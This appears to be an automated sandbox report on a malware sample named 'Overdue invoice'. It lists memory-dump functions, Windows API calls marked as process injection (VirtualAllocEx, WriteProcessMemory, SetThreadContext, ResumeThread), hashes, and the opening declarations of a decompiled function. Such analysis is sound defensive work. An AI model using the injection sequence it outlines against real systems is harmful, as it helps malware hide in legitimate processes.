Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 87cacd388e4578f9c38bfd7bd8ba4c96c5af719e8712c159d7daa78bc182e5e7
Instruction ID: c54da181a9273c561f82166b302561c4935cbeeef564507c9ee0f6110f20bf92
Opcode Fuzzy Hash: 87cacd388e4578f9c38bfd7bd8ba4c96c5af719e8712c159d7daa78bc182e5e7
Instruction Fuzzy Hash: 42510671900328DFDB61CF99C880BDDBBB1AF49314F15809AE908B7210DB759A88CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2FA4D Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00C2FB6A

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 99541292d94c189e9f9175911bdf6fa3c8e01575e98b28dacf6c44561b198a40
Instruction ID: 2e4126179cee5d8235e27ef219a7091763c6b0a830f01c4bb7fc072e3a69c6ef
Opcode Fuzzy Hash: 99541292d94c189e9f9175911bdf6fa3c8e01575e98b28dacf6c44561b198a40
Instruction Fuzzy Hash: C451CFB1D00359DFDF14CFAAD880ADEBBB5BF48314F24812AE818AB650D7709946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C2FA58 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00C2FB6A

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4354bf80d7be27e9dbeaa55786009424a5740975750b2af2e18672da1be5ad83
Instruction ID: 07112ed278e5abb37e9c7c48244362c44e7e221ca06b6c0312ed672c68a9cbfb
Opcode Fuzzy Hash: 4354bf80d7be27e9dbeaa55786009424a5740975750b2af2e18672da1be5ad83
Instruction Fuzzy Hash: E541CFB1D003199FDF14CFAAD894ADEBBB5BF48314F24812AE819AB250D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0273397A Relevance: 1.6, APIs: 1, Instructions: 86
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02733A55

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6604eac5d03912ff6c477219cfe2d78c5a63cf152319abe2a4099719cf32193e
Instruction ID: 38ed96325e50c610210e5fbacbc2898ccf6bc540371ce0aac081abf3ffe47d90
Opcode Fuzzy Hash: 6604eac5d03912ff6c477219cfe2d78c5a63cf152319abe2a4099719cf32193e
Instruction Fuzzy Hash: 073178B1905248DFCB11CFA9D945BDEBBF4BF48314F10846AE848E3381D3349944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02733B2A Relevance: 1.6, APIs: 1, Instructions: 70
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 02733BDF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e54339349f18c55ad90605f4a38d7e98095bfcfb267bcee3342125513f33a66e
Instruction ID: b08b1ccd88ae1cc7c99f00f12d4b5f53ee7ab156de74e2d5a6fc5f44514cde2c
Opcode Fuzzy Hash: e54339349f18c55ad90605f4a38d7e98095bfcfb267bcee3342125513f33a66e
Instruction Fuzzy Hash: 382168B0C093888FCB12DFA9D9457DEBFF4AF49214F15809AD448E7292D7346945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2BB58 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00C2BBE7

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f760aaa591717bd11fb5df695111bf1701b380fe18bda08263ed1fc9d6cb6f42
Instruction ID: 8c0f9eed0fb9f6a92ac9a3b72df9fc5775f868b2f575828cdadd4d34c45a43c5
Opcode Fuzzy Hash: f760aaa591717bd11fb5df695111bf1701b380fe18bda08263ed1fc9d6cb6f42
Instruction Fuzzy Hash: DD2124B59002589FDF10CFAAD984ADEFBF8EF48320F14842AE954A3310C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 027339C0 Relevance: 1.6, APIs: 1, Instructions: 66injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02733A55

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 449f90051d6836c79c7a0ed539decfda272799ae0ba0aad3d5900ba3d76f1f15
Instruction ID: b9f1f0759c9985a997ea19993e411822df0b2d40b7121e90a4385374322c8abe
Opcode Fuzzy Hash: 449f90051d6836c79c7a0ed539decfda272799ae0ba0aad3d5900ba3d76f1f15
Instruction Fuzzy Hash: 7E2134B1900249DFCB10CFAAC985BDEBBF4FF48324F10842EE558A3240D738A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 027339C8 Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02733A55

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 55ba3bfa56df7a040676449461437939731c6e80d5356afbb444faeb7e405f59
Instruction ID: c79bf07df69a4cb045f44ada30c063181858a42168ab51cf614d97931de4a7f8
Opcode Fuzzy Hash: 55ba3bfa56df7a040676449461437939731c6e80d5356afbb444faeb7e405f59
Instruction Fuzzy Hash: D521E6B1900259DFCB10CFAAD885BDEBBF4FF48314F10842AE558A3351D774A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C2BB60 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00C2BBE7

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1c533c320dee426d5a800246344864862053c069d20a1960e2033310ba988831
Instruction ID: a59454062b907a53f81449d973aaace06c072617f036eaaaef2fd7ed2bd7b78a
Opcode Fuzzy Hash: 1c533c320dee426d5a800246344864862053c069d20a1960e2033310ba988831
Instruction Fuzzy Hash: 8121C2B5D002599FDF10CFAAD984ADEBBF8EB48324F15841AF954A3350D374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733730 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 027337B7

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 24ff9304e39caacb31d3d3567a124adcca9e068e26773cac94cc9f207d96e644
Instruction ID: f3abadad18a0f4081af5d8addfec3027463c38dc2a8ab2890f3ea0a9d0d2bf6c
Opcode Fuzzy Hash: 24ff9304e39caacb31d3d3567a124adcca9e068e26773cac94cc9f207d96e644
Instruction Fuzzy Hash: 4F2104B5901259DFCB10CFAAD984BDEFBF4BF48320F15852AE968A3251D334A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733738 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 027337B7

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 84e5a92fe8db7f65b6b89337d4cab90d250215a3fa0afcee099046885ee484d8
Instruction ID: 8595929aacbd6c5959fa628950f901b208faf63fe0acb8f869049fd90b1c89bf
Opcode Fuzzy Hash: 84e5a92fe8db7f65b6b89337d4cab90d250215a3fa0afcee099046885ee484d8
Instruction Fuzzy Hash: 7121D0B59002599FCB10CFAAD884ADEBBF4FB48320F11842AE958A3251D374A544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733672 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 027336EF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 54932f371192826ca3ac1620ef97f721fc302b8d0a7229ae7e2e60a7417274e5
Instruction ID: 1ca2010d05cf46a91436b31c6034374ae1c819e2868cf2411a1ce6033483f2b4
Opcode Fuzzy Hash: 54932f371192826ca3ac1620ef97f721fc302b8d0a7229ae7e2e60a7417274e5
Instruction Fuzzy Hash: BA214AB1D0065A8FCB10CFA9C5857DEFBF4BB08224F15816AE458B7341D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733678 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 027336EF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 2f03a90b6e111ed1eb06686e7eacef65db631c8a42c2f09f9819b588e7776671
Instruction ID: 24eec0d4e832c9482f67db2b8c9ce623f9f15d41a066605743e95d42a7bb3450
Opcode Fuzzy Hash: 2f03a90b6e111ed1eb06686e7eacef65db631c8a42c2f09f9819b588e7776671
Instruction Fuzzy Hash: 922136B1D0065A9FCB10CFAAC8857DEFBF4BB48224F15816AE418A3340D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0726BD58 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0726BDCB

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 294a4987bf2b74dc114b4efa15683aa18af17a83f0c5ae18a4c6ea8e65d29285
Instruction ID: 84c8bb6cde54c85805d567780d1e0655ef068f2a4abfc2ad18beb0e0fb54ef3d
Opcode Fuzzy Hash: 294a4987bf2b74dc114b4efa15683aa18af17a83f0c5ae18a4c6ea8e65d29285
Instruction Fuzzy Hash: 0521E4B59002599FCB10DFAAC884BDEFBF8FF48320F15842AE558A7250D778A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29990 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 00C29A02

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d43ea1372ddb8cd916f394151d02fc1358c5ce2840b01fca813d3c37898b31dc
Instruction ID: 6276872900dd20de15a54117531919cdfe9e3d1166a402602cb909dd9406f1ab
Opcode Fuzzy Hash: d43ea1372ddb8cd916f394151d02fc1358c5ce2840b01fca813d3c37898b31dc
Instruction Fuzzy Hash: 481106B19002598FCB10CFAAD484ADEFBF4EF98320F15841EE455A7600C774A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29998 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 00C29A02

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 27754d1f475b14fb9a4a885e3e318c3dd380bca49ce0b6e89956db8344d7eb59
Instruction ID: cc7b5cb22c608993d2347f8873ee2500a80219434deea7a7104bf9af74d23fb2
Opcode Fuzzy Hash: 27754d1f475b14fb9a4a885e3e318c3dd380bca49ce0b6e89956db8344d7eb59
Instruction Fuzzy Hash: 9E11F3B6D003598FCB10DFAAD444ADEFBF4EB88324F15842EE459A7600C374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733800 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02733873

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6ef39e2666c0ba1275cb289f07fc3204251dcf0852511ffb831909c14a52aa0e
Instruction ID: 490ceb2e8d57db9d970a5ec7c13d1e3ebe0f78140b6227811ffedc5bd8099719
Opcode Fuzzy Hash: 6ef39e2666c0ba1275cb289f07fc3204251dcf0852511ffb831909c14a52aa0e
Instruction Fuzzy Hash: CC1113B5900249DFCB20DF9AC885BDEBFF4EB48324F148459E519A7310C335A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2911C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,00C29543), ref: 00C29776

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2e7a5f03339f84d0038e41bbfabdcb8681fb64cc5cccb3ee1c54102c07628456
Instruction ID: b1ee5a0d8bb245227e6366e5ef7e962a1ec363db52bd693a8959c5a8c5f395f6
Opcode Fuzzy Hash: 2e7a5f03339f84d0038e41bbfabdcb8681fb64cc5cccb3ee1c54102c07628456
Instruction Fuzzy Hash: 8011F0B5C006598FCB10DFAAD444BDEFBF8EB89724F15842AE829B7600D374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733808 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02733873

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f14e7c7cb665e14010c90505b9254f189da6d2dc39f41e16731ae3d65ba830c1
Instruction ID: 171f8663aa461a6d0385c11851a6c02cce1d4d598c4abe5f72077fd404d00476
Opcode Fuzzy Hash: f14e7c7cb665e14010c90505b9254f189da6d2dc39f41e16731ae3d65ba830c1
Instruction Fuzzy Hash: 5D11E3B5900249DFCB20DF9AC884BDEBBF4EB48324F158459E519A7250C775A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733E98 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 02733EFD

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 528e0889335dbc4a4df98faf18c1ab964b615e1aee36d9b991d71a4fdc12a32e
Instruction ID: a373bae84776daf2e56cb2ae8b63150aba5338c0f40e83315a2a8eb47a3a85ae
Opcode Fuzzy Hash: 528e0889335dbc4a4df98faf18c1ab964b615e1aee36d9b991d71a4fdc12a32e
Instruction Fuzzy Hash: DE1103B58002899FCB20DF9AD888BDEFFF4EB48324F15855AE455A7600C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733B7A Relevance: 1.5, APIs: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 02733BDF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 26bd81e0e6bb899b959e8ce3fc2a472938e2c43e7398bc97e8f6ce4764da5931
Instruction ID: 058d646517ce099efd13bf3c70dc5efa36e5a6c86049172c96da910fe5de8433
Opcode Fuzzy Hash: 26bd81e0e6bb899b959e8ce3fc2a472938e2c43e7398bc97e8f6ce4764da5931
Instruction Fuzzy Hash: 581103B59002498FCB20DF99D588BDEFBF4AB88324F21845AE459A7640C775A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733EA0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 02733EFD

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 385fa2c987390f024463859f090f525361fe41e4dcb9ef943a9780288eb3adbb
Instruction ID: 66aa6d5704ce35754871354781b0ddf689b078d488a44ef889bac933b212e794
Opcode Fuzzy Hash: 385fa2c987390f024463859f090f525361fe41e4dcb9ef943a9780288eb3adbb
Instruction Fuzzy Hash: 6E1112B58003499FCB20DF9AD884BDEFBF8EB48324F11845AE455A3700C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2FC99 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 00C2FCFD

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 89de885c2d24edf441dbba8707e0f96ea6bc31e490002ec9802f96c2409937cb
Instruction ID: af3c27951ec4530c9126801b3ac2e9d7f457529a1cedd42744fe2124219e1315
Opcode Fuzzy Hash: 89de885c2d24edf441dbba8707e0f96ea6bc31e490002ec9802f96c2409937cb
Instruction Fuzzy Hash: E81133B5800249CFDB20CF99D584BDEFBF8EB48324F24842AE855A3740C374AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2FCA0 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 00C2FCFD

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f2f6e9fe4bf93acacb18db8faedd494975d024b907021e2ec734fc24d3714ef3
Instruction ID: ccfd56f6ed78367f2de242f2f9a888fe8d76d579f07e0ea700c270ca2db73f91
Opcode Fuzzy Hash: f2f6e9fe4bf93acacb18db8faedd494975d024b907021e2ec734fc24d3714ef3
Instruction Fuzzy Hash: AD1127B58002498FDB20DF99D484BDFFBF8EB48324F20851AE855A3740C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733B80 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 02733BDF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0e101b58391986b78ddaa562ac92176e668edbb88959d0ad630dcf15fa3a50f9
Instruction ID: f332c8f85fd31708edb8140dd7f44ffbbd50e1575794d18f94245ea2cfc85ac8
Opcode Fuzzy Hash: 0e101b58391986b78ddaa562ac92176e668edbb88959d0ad630dcf15fa3a50f9
Instruction Fuzzy Hash: 661123B18002498FCB20DF9AD484BDEFBF8EF48324F21845AE519A3340C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00522809 Relevance: 1.5, Instructions: 1530COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.297583913.0000000000522000.00000002.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.297565297.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297763203.00000000005BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297784487.00000000005C6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9fc60d6d2be36f1f4405b5a16900e169863bed8016f1815e1675ba50ed8ff0
Instruction ID: 86f77c1e4547146b1b5131f50a5354d1b5260a9b779d9f06673c0c89ac3232e6
Opcode Fuzzy Hash: 9e9fc60d6d2be36f1f4405b5a16900e169863bed8016f1815e1675ba50ed8ff0
Instruction Fuzzy Hash: CDC2526104E7D25FC7138BB42C742E2BF71AE5321471E85CBD4C18F0A3E6195A6AE772

Uniqueness

Uniqueness Score: -1.00%

Function 072672D8 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

J03, xrefs: 0726732A

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: J03
API String ID: 0-918838917
Opcode ID: 32a2a2b5b88a20a8cce1f7e2ed5d4ddcb7aa25c7ea5470ad7cb5c0134831f3f5
Instruction ID: 6414eaac7fea3e0deeffe510334b354376b8730f0b23440c673d2ecc5ff194ee
Opcode Fuzzy Hash: 32a2a2b5b88a20a8cce1f7e2ed5d4ddcb7aa25c7ea5470ad7cb5c0134831f3f5
Instruction Fuzzy Hash: DB910374E2420ACFCB04CF99D5849AEFBF1FF89214F24956AD415AB324D370AA82CF54

Uniqueness

Uniqueness Score: -1.00%

Function 072672C8 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

J03, xrefs: 0726732A

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: J03
API String ID: 0-918838917
Opcode ID: 2f6f911da081cd251ce57f9abbfa11ebe45e725072656756c74580ca8e35372e
Instruction ID: 377b9c85e82bf249e1f6e3bb2ddb925e05da12ca37a6837c005daa37d2151b14
Opcode Fuzzy Hash: 2f6f911da081cd251ce57f9abbfa11ebe45e725072656756c74580ca8e35372e
Instruction Fuzzy Hash: 06910374E2424ACFCB04CFA9D5849AEFBF1FF89214F24956AD415AB324D374AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 072683C8 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

;Gqs, xrefs: 0726840D

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: ;Gqs
API String ID: 0-2358465480
Opcode ID: ab68556cf090633c4810d56c8a7a8ae496ad1da839c836dbfd2489ec517d349b
Instruction ID: dd158063e62938ad984fc1de107dce940e7d78dd3f85cae3dc89ed4c7cd5f81e
Opcode Fuzzy Hash: ab68556cf090633c4810d56c8a7a8ae496ad1da839c836dbfd2489ec517d349b
Instruction Fuzzy Hash: 1F513BB0E11209DFCB14CFA9C4442AEFBF2FB89310F14C16AC415A7354D7345A828F55

Uniqueness

Uniqueness Score: -1.00%

Function 00524DB1 Relevance: .6, Instructions: 555
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00524DB1(signed int __eax, signed int* __ebx, signed int __ecx, signed int __edx, signed int* __edi, signed int* __esi) {
				signed char _t68;
				signed char _t70;
				signed int _t71;
				signed char _t73;
				intOrPtr* _t74;
				signed char _t76;
				intOrPtr* _t77;
				signed char _t79;
				intOrPtr* _t80;
				signed char _t82;
				intOrPtr* _t83;
				signed char _t85;
				intOrPtr* _t86;
				signed char _t88;
				intOrPtr* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed char _t95;
				intOrPtr* _t96;
				signed char _t98;
				intOrPtr* _t99;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				signed char _t109;
				intOrPtr* _t110;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t115;
				intOrPtr* _t116;
				signed char _t122;
				signed char _t123;
				void* _t124;
				intOrPtr* _t125;
				intOrPtr* _t127;
				void* _t128;
				intOrPtr* _t130;
				signed char _t131;
				signed int _t132;
				signed char _t133;
				signed char _t134;
				signed char _t136;
				signed char _t137;
				signed char _t140;
				signed char _t143;
				signed char _t144;
				intOrPtr* _t145;
				intOrPtr* _t146;
				signed char _t147;
				signed char _t148;
				intOrPtr* _t149;
				signed char _t150;
				signed char _t152;
				signed char _t153;
				intOrPtr* _t154;
				intOrPtr* _t156;
				intOrPtr* _t157;
				signed char _t164;
				intOrPtr* _t165;
				signed char _t167;
				intOrPtr* _t168;
				signed char _t170;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t180;
				void* _t181;
				void* _t182;
				void* _t183;
				void* _t184;
				void* _t185;
				void* _t186;
				void* _t187;
				signed int* _t188;
